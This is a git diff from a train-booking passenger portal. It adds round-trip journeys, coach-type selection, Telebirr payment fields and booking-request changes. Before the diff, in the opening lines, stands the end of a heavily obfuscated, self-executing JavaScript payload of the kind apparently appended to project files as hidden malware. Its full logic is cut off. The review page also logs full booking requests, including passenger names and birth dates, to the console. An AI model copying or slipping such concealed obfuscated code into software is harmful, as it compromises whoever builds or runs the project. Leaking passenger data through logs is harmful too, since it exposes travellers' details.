lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
diff --git a/apps/edr-passenger-web/portal/public/edr-banner.jpg b/apps/edr-passenger-web/portal/public/edr-banner.jpg
new file mode 100644
index 000000000..81b8ddca3
Binary files /dev/null and b/apps/edr-passenger-web/portal/public/edr-banner.jpg differ
diff --git a/apps/edr-passenger-web/portal/public/edr-logo.png b/apps/edr-passenger-web/portal/public/edr-logo.png
new file mode 100644
index 000000000..3966c9e80
Binary files /dev/null and b/apps/edr-passenger-web/portal/public/edr-logo.png differ
diff --git a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx
index 2efe9b5d4..def68279c 100644
--- a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx
+++ b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx
@@ -7,6 +7,7 @@ import { useMutation, useQuery } from "@tanstack/react-query";
import { apiClient } from "@/lib/api-client";
import { useState, useEffect } from "react";
import { PaymentMethod } from "@/types";
+import { format } from "date-fns";
import {
CreditCard,
Smartphone,
@@ -23,12 +24,14 @@ const getIconForMethod = (methodId: string) => {
export default function PaymentPage() {
const router = useRouter();
- const { bookingId, pnr, selectedSchedule, passengers } = useBookingStore();
+ const { bookingId, pnr, selectedSchedule, outboundSchedule, inboundSchedule, passengers, searchCriteria } = useBookingStore();
const { selectedCurrency, setPaymentIntent, updateStatus } =
usePaymentStore();
const [selectedMethod, setSelectedMethod] = useState(null);
const [isProcessing, setIsProcessing] = useState(false);
+ const isRoundTrip = searchCriteria?.tripType === 'ROUND_TRIP';
+
const { data: paymentMethods = [], isLoading: loadingMethods, error } = useQuery({
queryKey: ['paymentMethods'],
queryFn: async () => {
@@ -38,10 +41,21 @@ export default function PaymentPage() {
});
// Calculate total amount
- const baseFare = passengers.reduce(
+ const outboundBaseFare = isRoundTrip && outboundSchedule ? passengers.reduce(
+ (sum) => sum + (outboundSchedule.baseFareAdult || 0),
+ 0,
+ ) : 0;
+
+ const inboundBaseFare = isRoundTrip && inboundSchedule ? passengers.reduce(
+ (sum) => sum + (inboundSchedule.baseFareAdult || 0),
+ 0,
+ ) : 0;
+
+ const baseFare = isRoundTrip ? (outboundBaseFare + inboundBaseFare) : passengers.reduce(
(sum) => sum + (selectedSchedule?.baseFareAdult || 0),
0,
);
+
const totalAmount = baseFare;
const paymentMutation = useMutation({
@@ -207,47 +221,258 @@ export default function PaymentPage() {
{/* Order Summary */}
-
+
Order summary
-
-
- Route
-
- {selectedSchedule?.origin} → {selectedSchedule?.destination}
-
-
-
- Train
-
- {selectedSchedule?.trainNumber}
-
-
- {selectedSchedule?.selectedSeatClassName && (
-
+
+ {isRoundTrip ? (
+ <>
+ {/* Outbound Journey */}
+
+
+
+
Outbound Journey
+
+ {outboundSchedule?.selectedSeatClassName?.replace(/_/g, ' ') || 'Standard'}
+
+
+
+ {/* Flight-style timeline */}
+
+ {/* Left column: Timeline with dots and line */}
+
+ {/* Origin dot */}
+
+ {/* Vertical line */}
+
+ {/* Destination dot */}
+
+
+
+ {/* Right column: Content */}
+
+ {/* Origin */}
+
+
+ {outboundSchedule?.departureTime ? format(new Date(outboundSchedule.departureTime), 'HH:mm') : '--:--'}
+
+
+ {outboundSchedule?.departureTime ? format(new Date(outboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {outboundSchedule?.origin}
+
+
+
+ {/* Journey Info */}
+
+
+
+
+
+
+
{outboundSchedule?.duration}
+
+
+
+
+
+
Train {outboundSchedule?.trainNumber}
+
+
+
+
+ {/* Destination */}
+
+
+ {outboundSchedule?.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'HH:mm') : '--:--'}
+
+
+ {outboundSchedule?.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {outboundSchedule?.destination}
+
+
+
+
+
+
+
+ Outbound fare
+ ETB {(outboundBaseFare / 100).toFixed(2)}
+
+
+
+
+ {/* Return Journey */}
+
+
+
+
Return Journey
+
+ {inboundSchedule?.selectedSeatClassName?.replace(/_/g, ' ') || 'Standard'}
+
+
+
+ {/* Flight-style timeline */}
+
+ {/* Left column: Timeline with dots and line */}
+
+ {/* Origin dot */}
+
+ {/* Vertical line */}
+
+ {/* Destination dot */}
+
+
+
+ {/* Right column: Content */}
+
+ {/* Origin */}
+
+
+ {inboundSchedule?.departureTime ? format(new Date(inboundSchedule.departureTime), 'HH:mm') : '--:--'}
+
+
+ {inboundSchedule?.departureTime ? format(new Date(inboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {inboundSchedule?.origin}
+
+
+
+ {/* Journey Info */}
+
+
+
+
+
+
+
{inboundSchedule?.duration}
+
+
+
+
+
+
Train {inboundSchedule?.trainNumber}
+
+
+
+
+ {/* Destination */}
+
+
+ {inboundSchedule?.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'HH:mm') : '--:--'}
+
+
+ {inboundSchedule?.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {inboundSchedule?.destination}
+
+
+
+
+
+
+
+ Return fare
+ ETB {(inboundBaseFare / 100).toFixed(2)}
+
+
+
+ >
+ ) : (
+ <>
+ {/* One-Way Journey */}
+
+
+
+
Your Journey
+
+ {selectedSchedule?.selectedSeatClassName?.replace(/_/g, ' ') || 'Standard'}
+
+
+
+ {/* Flight-style timeline */}
+
+ {/* Left column: Timeline with dots and line */}
+
+ {/* Origin dot */}
+
+ {/* Vertical line */}
+
+ {/* Destination dot */}
+
+
+
+ {/* Right column: Content */}
+
+ {/* Origin */}
+
+
+ {selectedSchedule?.departureTime ? format(new Date(selectedSchedule.departureTime), 'HH:mm') : '--:--'}
+
+
+ {selectedSchedule?.departureTime ? format(new Date(selectedSchedule.departureTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {selectedSchedule?.origin}
+
+
+
+ {/* Journey Info */}
+
+
+
+
+
+
+
{selectedSchedule?.duration}
+
+
+
+
+
+
Train {selectedSchedule?.trainNumber}
+
+
+
+
+ {/* Destination */}
+
+
+ {selectedSchedule?.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'HH:mm') : '--:--'}
+
+
+ {selectedSchedule?.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {selectedSchedule?.destination}
+
+
+
+
+
+ >
+ )}
+
+ {/* Passengers and Total */}
+
+
- Class
+ Passengers
- {selectedSchedule.selectedSeatClassName.replace(/_/g, " ")}
+ {passengers.length} passenger{passengers.length !== 1 ? "s" : ""}
- )}
-
-
- Passengers
-
-
- {passengers.length} passenger
- {passengers.length !== 1 ? "s" : ""}
-
-
-
-
-
+
+
Total amount
-
+
ETB {(totalAmount / 100).toFixed(2)}
diff --git a/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx
index 0943db60e..9b190fbf2 100644
--- a/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx
+++ b/apps/edr-passenger-web/portal/src/app/booking/payment/telebirr/success/page.tsx
@@ -16,7 +16,7 @@ function TelebirrSuccessContent() {
const [status, setStatus] = useState<'processing' | 'done' | 'error'>('processing');
// Telebirr callback query params
- const merchantOrderId = searchParams.get('merchantOrderId') || '';
+ const orderid = searchParams.get('orderid') || '';
const trxRef = searchParams.get('trxRef') || searchParams.get('outTradeNo') || '';
const bookingIdQp = searchParams.get('bookingId') || bookingId || '';
@@ -25,7 +25,7 @@ function TelebirrSuccessContent() {
try {
if (bookingIdQp) {
await apiClient.patch(`/bookings/${bookingIdQp}/confirm`, {
- paymentReference: merchantOrderId || trxRef,
+ paymentReference: orderid || trxRef,
paymentMethod: 'TELEBIRR',
});
}
@@ -59,7 +59,7 @@ function TelebirrSuccessContent() {
Payment Successful!
Your Telebirr payment was received.
- {merchantOrderId && Order ID: {merchantOrderId}
}
+ {orderid && Order ID: {orderid}
}
{trxRef && Transaction Ref: {trxRef}
}
Redirecting to your booking confirmation…
>
diff --git a/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx
index 79b8419c5..1e906be2c 100644
--- a/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx
+++ b/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx
@@ -5,16 +5,16 @@ import { useQuery } from '@tanstack/react-query';
import { apiClient } from '@/lib/api-client';
import { useBookingStore } from '@/lib/booking-store';
import { Schedule } from '@/types';
-import { ArrowRight, Clock, Calendar, Users, ChevronLeft, Loader2, Check, X, MapPin, Gift, Train } from 'lucide-react';
+import { ArrowRight, Clock, Calendar, Users, ChevronLeft, Check, X, MapPin, Gift, Train, Bed, Armchair, Star } from 'lucide-react';
import { format } from 'date-fns';
import { useState, useEffect } from 'react';
export default function ResultsPage() {
const router = useRouter();
const searchParams = useSearchParams();
- const setSelectedSchedule = useBookingStore((s) => s.setSelectedSchedule);
- const [selectedClasses, setSelectedClasses] = useState>({});
- const [outboundSelected, setOutboundSelected] = useState(false);
+ const { setSelectedSchedule, setOutboundSchedule, setInboundSchedule } = useBookingStore();
+ const [selectedCoachTypes, setSelectedCoachTypes] = useState>({});
+ const [outboundScheduleData, setOutboundScheduleData] = useState(null);
const [classModal, setClassModal] = useState(null);
const [promoData, setPromoData] = useState<{ code: string; discount: string; message: string } | null>(null);
@@ -114,18 +114,21 @@ export default function ResultsPage() {
const isRoundTrip = searchData.journeyType === 'ROUND_TRIP';
// Handle both response formats:
- // 1. One-way: response is array of schedules
+ // 1. One-way: response can be array of schedules OR object with journeyType and outbound
// 2. Round-trip: response has journeyType, outbound, inbound properties
let outboundSchedules: Schedule[] = [];
let inboundSchedules: Schedule[] = [];
if (results) {
- if (isRoundTrip && results.journeyType === 'ROUND_TRIP') {
+ if (results.journeyType === 'ROUND_TRIP') {
// Round trip response format
outboundSchedules = results.outbound || [];
inboundSchedules = results.inbound || [];
+ } else if (results.journeyType === 'ONE_WAY' && results.outbound) {
+ // One-way response format with outbound array
+ outboundSchedules = results.outbound || [];
} else if (Array.isArray(results)) {
- // One-way response format (array of schedules)
+ // One-way response format (direct array of schedules)
outboundSchedules = results;
} else if (results.data && Array.isArray(results.data)) {
// Fallback: wrapped in data property
@@ -139,30 +142,22 @@ export default function ResultsPage() {
? (outboundSchedules.length > 0 && inboundSchedules.length > 0)
: outboundSchedules.length > 0;
- const handleSelectClass = (scheduleId: string, seatClass: string, isOutbound: boolean = false) => {
- setSelectedClasses(prev => ({ ...prev, [scheduleId]: seatClass }));
- if (isOutbound && isRoundTrip) {
- setOutboundSelected(true);
- }
+ const handleSelectCoachType = (scheduleId: string, coachId: string, coachTypeCode: string, coachTypeName: string) => {
+ setSelectedCoachTypes(prev => ({ ...prev, [scheduleId]: { id: coachId, code: coachTypeCode, name: coachTypeName } }));
};
const handleSelect = (schedule: Schedule, isOutbound: boolean = false) => {
const scheduleId = schedule.scheduleId || schedule.id || '';
- const selectedClass = selectedClasses[scheduleId];
+ const selectedCoachType = selectedCoachTypes[scheduleId];
- if (!selectedClass) {
- alert('Please select a seat class before continuing');
+ if (!selectedCoachType) {
+ alert('Please select a coach type before continuing');
return;
}
- const selectedClassFare = schedule.faresByClass?.find(
- (f: any) => f.seatClassName === selectedClass
- );
-
- if (!selectedClassFare) {
- alert('Unable to find fare for selected class');
- return;
- }
+ // Find the coach type to get pricing info
+ const coachType = schedule.coachTypes?.find(ct => ct.coachId === selectedCoachType.id);
+ const minFare = coachType?.classes.length ? Math.min(...coachType.classes.map(c => c.baseFareMinor)) : 0;
const hours = Math.floor((schedule.durationMinutes || 0) / 60);
const minutes = (schedule.durationMinutes || 0) % 60;
@@ -176,30 +171,54 @@ export default function ResultsPage() {
departureTime: schedule.departureAt || schedule.departureTime || '',
arrivalTime: schedule.arrivalAt || schedule.arrivalTime || '',
duration: durationStr,
- baseFareAdult: selectedClassFare.baseFareMinor,
- baseFareChild: selectedClassFare.baseFareMinor,
- selectedSeatClass: selectedClass,
- selectedSeatClassName: selectedClass,
+ baseFareAdult: minFare,
+ baseFareChild: minFare,
+ selectedSeatClass: selectedCoachType.name,
+ selectedSeatClassName: selectedCoachType.name,
+ selectedCoachId: selectedCoachType.id,
+ selectedCoachTypeCode: selectedCoachType.code,
+ selectedCoachTypeName: selectedCoachType.name,
};
// For round trip, store outbound and wait for inbound selection
if (isRoundTrip && isOutbound) {
- setOutboundSelected(true);
+ setOutboundScheduleData(scheduleData);
+ setOutboundSchedule(scheduleData);
setClassModal(null);
+ // Scroll to inbound section
+ setTimeout(() => {
+ const inboundSection = document.getElementById('inbound-section');
+ if (inboundSection) {
+ inboundSection.scrollIntoView({ behavior: 'smooth', block: 'start' });
+ }
+ }, 100);
return;
}
- // For round trip inbound or one-way, proceed to next step
- setSelectedSchedule(scheduleData);
+ // For round trip inbound, proceed with both schedules
+ if (isRoundTrip && !isOutbound) {
+ setInboundSchedule(scheduleData);
+ setSelectedSchedule(outboundScheduleData); // Set primary as outbound
+ } else {
+ // For one-way
+ setSelectedSchedule(scheduleData);
+ }
+
router.push('/booking/auth-check');
};
const renderScheduleCard = (schedule: Schedule, isOutbound: boolean = false) => {
const scheduleId = schedule.scheduleId || schedule.id || '';
- const selectedClass = selectedClasses[scheduleId];
- const lowestFare = schedule.faresByClass && Array.isArray(schedule.faresByClass) && schedule.faresByClass.length > 0
- ? Math.min(...schedule.faresByClass.map((f: any) => f.baseFareMinor).filter((fare: number) => fare > 0))
- : null;
+ const selectedCoachType = selectedCoachTypes[scheduleId];
+
+ // Calculate lowest fare from coach types
+ let lowestFare = null;
+ if (schedule.coachTypes?.length) {
+ const allFares = schedule.coachTypes.flatMap(ct => ct.classes.map(c => c.baseFareMinor)).filter(f => f > 0);
+ lowestFare = allFares.length ? Math.min(...allFares) : null;
+ } else if (schedule.faresByClass?.length) {
+ lowestFare = Math.min(...schedule.faresByClass.map((f: any) => f.baseFareMinor).filter((fare: number) => fare > 0));
+ }
const hours = Math.floor((schedule.durationMinutes || 0) / 60);
const minutes = (schedule.durationMinutes || 0) % 60;
const durationStr = `${hours}h ${minutes}m`;
@@ -269,16 +288,16 @@ export default function ResultsPage() {
{lowestFare ? `ETB ${(lowestFare / 100).toFixed(2)}` : 'N/A'}
per adult
- {selectedClass && (
+ {selectedCoachType && (
- {selectedClass.replace(/_/g, ' ')} selected
+ {selectedCoachType.name} selected
)}
setClassModal({ ...schedule, isOutbound } as any)}
className="btn-secondary w-full flex items-center justify-center gap-2"
>
- {selectedClass ? 'Change class' : 'Select class'}
+ {selectedCoachType ? 'Change' : 'Select'}
@@ -289,10 +308,138 @@ export default function ResultsPage() {
if (isLoading) {
return (
-
-
-
-
Searching for trains...
+
+
+
+ {/* Progress Header */}
+
+
+
+
+
+
+ Searching for trains...
+
+
+ Finding the best options for your journey
+
+
+
+ {/* Progress bar */}
+
+
+
+
+ {/* Skeleton Cards */}
+
+ {[1, 2, 3].map((i) => (
+
+
+
+ {/* Train info skeleton */}
+
+
+ {/* Time and route skeleton */}
+
+
+
+
+
+
+ ))}
+
+
);
@@ -345,95 +492,177 @@ export default function ResultsPage() {
{classModal && (() => {
const scheduleId = classModal.scheduleId || classModal.id || '';
- const selectedClass = selectedClasses[scheduleId];
+ const selectedCoachType = selectedCoachTypes[scheduleId];
const isOutbound = (classModal as any).isOutbound;
+ const coachTypes = classModal.coachTypes || [];
+
+ const getCoachIcon = (typeName: string) => {
+ const lower = typeName.toLowerCase();
+ if (lower.includes('soft') || lower.includes('vip')) return Star;
+ if (lower.includes('bed')) return Bed;
+ return Armchair;
+ };
+
return (
<>
setClassModal(null)} />
-
-
+
-
Select Class
-
-
- {classModal.trainNumber} · {classModal.origin?.name} → {classModal.destination?.name}
+
Choose Your Coach
+
+
+ {classModal.trainNumber}
+ ·
+ {classModal.origin?.name} → {classModal.destination?.name}
setClassModal(null)}
- className="w-9 h-9 flex items-center justify-center rounded-full hover:bg-gray-100 dark:hover:bg-gray-800 transition-colors"
+ className="w-10 h-10 flex items-center justify-center rounded-full hover:bg-gray-100 dark:hover:bg-gray-800 transition-all"
+ aria-label="Close"
>
-
- {classModal.faresByClass && Array.isArray(classModal.faresByClass) && classModal.faresByClass.length > 0 ? (
-
- {classModal.faresByClass.map((fareClass: any) => {
- const isSelected = selectedClass === fareClass.seatClassName;
- const availableSeats = classModal.availabilityByClass?.[fareClass.seatClassName] || 0;
- const isAvailable = availableSeats > 0;
- const isBedClass = fareClass.seatClassName.toLowerCase().includes('bed');
+
+ {coachTypes.length > 0 ? (
+
+ {coachTypes.map((coachType: any, index: number) => {
+ const isSelected = selectedCoachType?.id === coachType.coachId;
+ const minPrice = coachType.classes.length ? Math.min(...coachType.classes.map((c: any) => c.baseFareMinor)) : 0;
+ const CoachIcon = getCoachIcon(coachType.coachTypeName);
+
return (
isAvailable && handleSelectClass(scheduleId, fareClass.seatClassName, isOutbound)}
- disabled={!isAvailable}
- className={`relative w-full p-4 rounded-xl border-2 text-left transition-all ${
+ key={coachType.coachId}
+ onClick={() => handleSelectCoachType(scheduleId, coachType.coachId, coachType.coachTypeCode, coachType.coachTypeName)}
+ className={`group relative w-full p-5 rounded-2xl border-2 text-left transition-all duration-200 ${
isSelected
- ? 'border-primary bg-primary/5 dark:bg-primary/10 shadow-sm'
- : isAvailable
- ? 'border-gray-200 dark:border-gray-700 hover:border-primary/50 hover:shadow-sm'
- : 'border-gray-100 dark:border-gray-800 bg-gray-50 dark:bg-gray-800 opacity-50 cursor-not-allowed'
+ ? 'border-primary bg-gradient-to-br from-primary/8 to-primary/3 dark:from-primary/15 dark:to-primary/5 shadow-lg shadow-primary/20 scale-[1.02]'
+ : 'border-gray-200 dark:border-gray-700 hover:border-primary/40 hover:shadow-md hover:scale-[1.01] bg-white dark:bg-gray-800/50'
}`}
+ style={{ animation: `fade-in-up 0.3s ease-out ${index * 0.1}s both` }}
>
{isSelected && (
-
-
+
+
)}
-
- {fareClass.seatClassName.replace(/_/g, ' ')}
-
-
- ETB {((fareClass.baseFareMinor || 0) / 100).toFixed(2)}
-
-
per adult
-
- {isAvailable
- ? `${availableSeats} ${isBedClass ? 'bed' : 'seat'}${availableSeats !== 1 ? 's' : ''} available`
- : 'Sold out'}
-
+
+
+
+
+
+
+
+
+
+
+
+ {coachType.coachTypeName}
+
+
+
+
+
+
+ From
+
+ {(minPrice / 100).toFixed(2)}
+
+ ETB
+
+
+
+
+
+ {coachType.classes.length > 0 && (
+
+
+
+ Class Options
+
+
+ {coachType.classes.length} available
+
+
+
+ {coachType.classes.map((cls: any, idx: number) => (
+
+
+
+
+ {cls.name}
+
+
+
+
+ {(cls.baseFareMinor / 100).toFixed(2)}
+
+
+ ETB
+
+
+
+ ))}
+
+
+ )}
+
);
})}
) : (
- No seat classes available
+
+
+
+
+
No coach types available for this journey
+
)}
-
-
{ if (selectedClass) { handleSelect(classModal, isOutbound); } }}
- disabled={!selectedClass}
- className="w-full flex items-center justify-center gap-2 py-3.5 bg-[rgb(20,113,76)] hover:bg-[rgb(16,89,60)] text-white font-bold text-sm rounded-xl transition-all disabled:opacity-40 disabled:cursor-not-allowed shadow-lg"
- >
- {isRoundTrip && isOutbound ? 'Continue to Return' : 'Continue'}
-
-
- {!selectedClass && (
-
Please select a class to continue
- )}
+
+
+
{ if (selectedCoachType) { handleSelect(classModal, isOutbound); } }}
+ disabled={!selectedCoachType}
+ className="w-full flex items-center justify-center gap-2.5 px-6 py-3.5 bg-gradient-to-r from-[rgb(20,113,76)] to-[rgb(16,95,65)] hover:from-[rgb(16,89,60)] hover:to-[rgb(12,75,50)] text-white font-bold text-sm rounded-xl transition-all disabled:opacity-50 disabled:cursor-not-allowed shadow-lg shadow-primary/30 disabled:shadow-none hover:shadow-xl hover:scale-[1.02] active:scale-[0.98]"
+ >
+ {isRoundTrip && isOutbound ? 'Continue to Return Journey' : 'Continue to Passenger Details'}
+
+
+ {!selectedCoachType && (
+
+
+ Select a coach type to continue
+
+ )}
+
-
+
>
);
})()}
@@ -494,8 +723,8 @@ export default function ResultsPage() {
)}
- {inboundSchedules.length > 0 && (!isRoundTrip || outboundSelected) && (
-
+ {isRoundTrip && inboundSchedules.length > 0 && outboundScheduleData && (
+
diff --git a/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx
index 6f9c2a265..0ce5a340f 100644
--- a/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx
+++ b/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx
@@ -51,11 +51,13 @@ function getPassengerIdFromToken(token: string): string | null {
export default function ReviewPage() {
const router = useRouter();
- const { selectedSchedule, passengers, seatHold, setBookingId, setPNR, createAccount, passengerId: storedPassengerId } = useBookingStore();
+ const { selectedSchedule, outboundSchedule, inboundSchedule, passengers, seatHold, setBookingId, setPNR, createAccount, passengerId: storedPassengerId, searchCriteria } = useBookingStore();
const { user, isAuthenticated } = useAuthStore();
const [timeLeft, setTimeLeft] = useState('');
const [seatDetails, setSeatDetails] = useState>({});
+ const isRoundTrip = searchCriteria?.tripType === 'ROUND_TRIP';
+
useEffect(() => {
if (!seatHold?.expiresAt) return;
@@ -79,22 +81,57 @@ export default function ReviewPage() {
useEffect(() => {
const fetchSeatDetails = async () => {
- if (!selectedSchedule?.id) return;
-
try {
- const seatMapData: any = await apiClient.get(`/seats/seatmap/${selectedSchedule.id}`);
- const coaches = seatMapData?.coaches || [];
- const allSeats = coaches.flatMap((coach: any) => coach.seats || []);
-
const details: Record = {};
- passengers.forEach(p => {
- if (p.seatId) {
- const seat = allSeats.find((s: any) => s.id === p.seatId);
- if (seat) {
- details[p.seatId] = seat.number || seat.label || seat.seatNumber || 'N/A';
+
+ // Fetch outbound seat details
+ if (isRoundTrip && outboundSchedule?.id) {
+ const outboundSeatMap: any = await apiClient.get(`/seats/seatmap/${outboundSchedule.id}`);
+ const outboundCoaches = outboundSeatMap?.coaches || [];
+ const outboundSeats = outboundCoaches.flatMap((coach: any) => coach.seats || []);
+
+ passengers.forEach(p => {
+ if ((p as any).outboundSeatId) {
+ const seat = outboundSeats.find((s: any) => s.id === (p as any).outboundSeatId);
+ if (seat) {
+ details[`outbound-${(p as any).outboundSeatId}`] = seat.number || seat.label || seat.seatNumber || 'N/A';
+ }
}
- }
- });
+ });
+ }
+
+ // Fetch inbound seat details
+ if (isRoundTrip && inboundSchedule?.id) {
+ const inboundSeatMap: any = await apiClient.get(`/seats/seatmap/${inboundSchedule.id}`);
+ const inboundCoaches = inboundSeatMap?.coaches || [];
+ const inboundSeats = inboundCoaches.flatMap((coach: any) => coach.seats || []);
+
+ passengers.forEach(p => {
+ if ((p as any).inboundSeatId) {
+ const seat = inboundSeats.find((s: any) => s.id === (p as any).inboundSeatId);
+ if (seat) {
+ details[`inbound-${(p as any).inboundSeatId}`] = seat.number || seat.label || seat.seatNumber || 'N/A';
+ }
+ }
+ });
+ }
+
+ // Fetch one-way seat details
+ if (!isRoundTrip && selectedSchedule?.id) {
+ const seatMapData: any = await apiClient.get(`/seats/seatmap/${selectedSchedule.id}`);
+ const coaches = seatMapData?.coaches || [];
+ const allSeats = coaches.flatMap((coach: any) => coach.seats || []);
+
+ passengers.forEach(p => {
+ if (p.seatId) {
+ const seat = allSeats.find((s: any) => s.id === p.seatId);
+ if (seat) {
+ details[p.seatId] = seat.number || seat.label || seat.seatNumber || 'N/A';
+ }
+ }
+ });
+ }
+
setSeatDetails(details);
} catch (error) {
console.error('Failed to fetch seat details:', error);
@@ -102,14 +139,19 @@ export default function ReviewPage() {
};
fetchSeatDetails();
- }, [selectedSchedule?.id, passengers]);
+ }, [selectedSchedule?.id, outboundSchedule?.id, inboundSchedule?.id, passengers, isRoundTrip]);
const createBookingMutation = useMutation({
mutationFn: (data: any) => {
const endpoint = isAuthenticated ? '/bookings' : '/bookings/guest';
+ console.log('=== API REQUEST ===');
+ console.log('Endpoint:', endpoint);
+ console.log('Request Data:', JSON.stringify(data, null, 2));
return apiClient.post(endpoint, data);
},
onSuccess: (data: any) => {
+ console.log('=== API RESPONSE SUCCESS ===');
+ console.log('Response Data:', JSON.stringify(data, null, 2));
console.log('Booking created successfully:', data);
const bookingIdValue = data.bookingId || data.id;
const pnrValue = data.pnr || data.bookingReference || data.bookingRef;
@@ -141,7 +183,12 @@ export default function ReviewPage() {
}, 100);
},
onError: (error: any) => {
- console.error('Booking creation failed:', error);
+ console.log('=== API RESPONSE ERROR ===');
+ console.error('Error Object:', error);
+ console.error('Error Response:', error?.response);
+ console.error('Error Response Data:', JSON.stringify(error?.response?.data, null, 2));
+ console.error('Error Status:', error?.response?.status);
+ console.error('Error Message:', error?.message);
const errorMessage = error?.response?.data?.message || error?.message || 'Failed to create booking. Please try again.';
alert(errorMessage);
},
@@ -155,9 +202,11 @@ export default function ReviewPage() {
console.log('Search criteria:', searchCriteria);
console.log('Seat hold:', seatHold);
console.log('Selected schedule:', selectedSchedule);
+ console.log('Outbound schedule:', outboundSchedule);
+ console.log('Inbound schedule:', inboundSchedule);
console.log('Passengers:', passengers);
- if (!seatHold?.holdId) {
+ if (!seatHold?.holdId && (passengers.some(p => p.seatId) || passengers.some(p => (p as any).outboundSeatId || (p as any).inboundSeatId))) {
console.error('No seat hold found');
alert('Please select seats before continuing.');
router.push('/booking/seats');
@@ -171,12 +220,15 @@ export default function ReviewPage() {
return;
}
+ // Get seat class ID
let seatClassId = 'default-seat-class-id';
+ let returnSeatClassId = 'default-seat-class-id';
try {
const seatClasses: any = await apiClient.get('/seat-classes');
console.log('Seat classes:', seatClasses);
if (seatClasses && seatClasses.length > 0) {
seatClassId = seatClasses[0].id;
+ returnSeatClassId = seatClasses[0].id;
}
} catch (err) {
console.error('Failed to fetch seat classes:', err);
@@ -229,18 +281,21 @@ export default function ReviewPage() {
throw new Error('Passenger ID not found in authentication token. Please log in again.');
}
+ // Build booking request for authenticated users
bookingData = {
- scheduleId: selectedSchedule?.id || '',
- holdId: seatHold.holdId,
+ passengerId: passengerId,
+ scheduleId: isRoundTrip ? outboundSchedule?.id : selectedSchedule?.id,
+ holdId: seatHold?.holdId || '',
originStationId: searchCriteria.originStationId,
destinationStationId: searchCriteria.destinationStationId,
seatClassId: seatClassId,
+ bookingType: isRoundTrip ? 'ROUND_TRIP' : 'ONE_WAY',
displayCurrency: 'ETB',
- passengerId: passengerId,
passengers: passengers.map((p) => {
const isEthiopian = p.nationality === 'ETHIOPIAN' || p.nationality === 'Ethiopian';
return {
- seatId: p.seatId || '',
+ seatId: isRoundTrip ? (p as any).outboundSeatId : (p.seatId || ''),
+ ...(isRoundTrip && { returnSeatId: (p as any).inboundSeatId || '' }),
passengerName: p.name,
dateOfBirth: p.dateOfBirth,
idDocumentType: isEthiopian ? 'NATIONAL_ID' : 'PASSPORT',
@@ -251,19 +306,35 @@ export default function ReviewPage() {
};
}),
};
+
+ // Add round trip specific fields
+ if (isRoundTrip && inboundSchedule) {
+ bookingData.returnScheduleId = inboundSchedule.id;
+ bookingData.returnOriginStationId = searchCriteria.destinationStationId;
+ bookingData.returnDestinationStationId = searchCriteria.originStationId;
+ bookingData.returnHoldId = seatHold?.holdId || ''; // Assuming same hold ID, adjust if needed
+ bookingData.returnSeatClassId = returnSeatClassId;
+ }
+
+ // Add promo code if exists
+ if (searchCriteria.promoCode) {
+ bookingData.promoCode = searchCriteria.promoCode;
+ }
} else {
// For guests: send full passenger details array
bookingData = {
- scheduleId: selectedSchedule?.id || '',
- holdId: seatHold.holdId,
+ scheduleId: isRoundTrip ? outboundSchedule?.id : selectedSchedule?.id,
+ holdId: seatHold?.holdId || '',
originStationId: searchCriteria.originStationId,
destinationStationId: searchCriteria.destinationStationId,
seatClassId: seatClassId,
+ bookingType: isRoundTrip ? 'ROUND_TRIP' : 'ONE_WAY',
displayCurrency: 'ETB',
passengers: passengers.map(p => {
const isEthiopian = p.nationality === 'ETHIOPIAN' || p.nationality === 'Ethiopian';
return {
- seatId: p.seatId || '',
+ seatId: isRoundTrip ? (p as any).outboundSeatId : (p.seatId || ''),
+ ...(isRoundTrip && { returnSeatId: (p as any).inboundSeatId || '' }),
passengerName: p.name,
dateOfBirth: p.dateOfBirth,
idDocumentType: isEthiopian ? 'NATIONAL_ID' : 'PASSPORT',
@@ -279,13 +350,28 @@ export default function ReviewPage() {
savePassengerDetails: true,
